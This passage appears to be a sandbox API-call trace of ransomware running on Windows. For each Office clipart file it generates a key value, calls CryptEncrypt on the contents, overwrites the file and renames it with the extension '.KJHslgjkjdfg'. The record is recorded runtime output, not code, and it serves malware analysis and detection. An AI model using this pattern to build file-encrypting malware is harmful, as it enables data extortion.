1 [0200.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.603] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4330, lpOverlapped=0x0) returned 1 [0200.604] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.604] SetEndOfFile (hFile=0x130) returned 1 [0200.607] GetProcessHeap () returned 0x2ef0000 [0200.607] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.607] GetProcessHeap () returned 0x2ef0000 [0200.607] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.kjhslgjkjdfg")) returned 1 [0200.608] CloseHandle (hObject=0x130) returned 1 [0200.608] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0200.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.609] GetProcessHeap () returned 0x2ef0000 [0200.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.609] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.612] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.612] GetProcessHeap () returned 0x2ef0000 [0200.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.612] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.612] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.612] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.613] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.613] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.613] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.613] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.613] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3a94, lpOverlapped=0x0) returned 1 [0200.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3aa0) returned 1 [0200.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.614] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3aa0, lpOverlapped=0x0) returned 1 [0200.614] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.615] SetEndOfFile (hFile=0x130) returned 1 [0200.617] GetProcessHeap () returned 0x2ef0000 [0200.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.617] GetProcessHeap () returned 0x2ef0000 [0200.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.kjhslgjkjdfg")) returned 1 [0200.619] CloseHandle (hObject=0x130) returned 1 [0200.619] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0200.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.620] GetProcessHeap () returned 0x2ef0000 [0200.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.620] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.623] GetProcessHeap () returned 0x2ef0000 [0200.623] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.623] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.623] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.623] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.623] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.623] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.624] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ea8, lpOverlapped=0x0) returned 1 [0200.625] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4eb0, dwBufLen=0x4eb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4eb0) returned 1 [0200.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.625] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4eb0, lpOverlapped=0x0) returned 1 [0200.625] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.625] SetEndOfFile (hFile=0x130) returned 1 [0200.628] GetProcessHeap () returned 0x2ef0000 [0200.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.628] GetProcessHeap () returned 0x2ef0000 [0200.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.kjhslgjkjdfg")) returned 1 [0200.629] CloseHandle (hObject=0x130) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0200.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.630] GetProcessHeap () returned 0x2ef0000 [0200.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.630] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.631] GetProcessHeap () returned 0x2ef0000 [0200.631] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.632] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.633] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.633] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.633] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.633] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3490, lpOverlapped=0x0) returned 1 [0200.634] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3490, dwBufLen=0x3490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3490) returned 1 [0200.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.634] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3490, lpOverlapped=0x0) returned 1 [0200.634] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.634] SetEndOfFile (hFile=0x130) returned 1 [0200.636] GetProcessHeap () returned 0x2ef0000 [0200.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.636] GetProcessHeap () returned 0x2ef0000 [0200.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.kjhslgjkjdfg")) returned 1 [0200.638] CloseHandle (hObject=0x130) returned 1 [0200.638] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0200.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.638] GetProcessHeap () returned 0x2ef0000 [0200.639] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.639] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.641] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.641] GetProcessHeap () returned 0x2ef0000 [0200.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.641] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.641] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.641] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.642] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.642] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.642] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.642] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.642] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.642] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5804, lpOverlapped=0x0) returned 1 [0200.643] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5810, dwBufLen=0x5810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5810) returned 1 [0200.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.644] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5810, lpOverlapped=0x0) returned 1 [0200.644] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x58e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.644] SetEndOfFile (hFile=0x130) returned 1 [0200.647] GetProcessHeap () returned 0x2ef0000 [0200.647] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.647] GetProcessHeap () returned 0x2ef0000 [0200.647] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 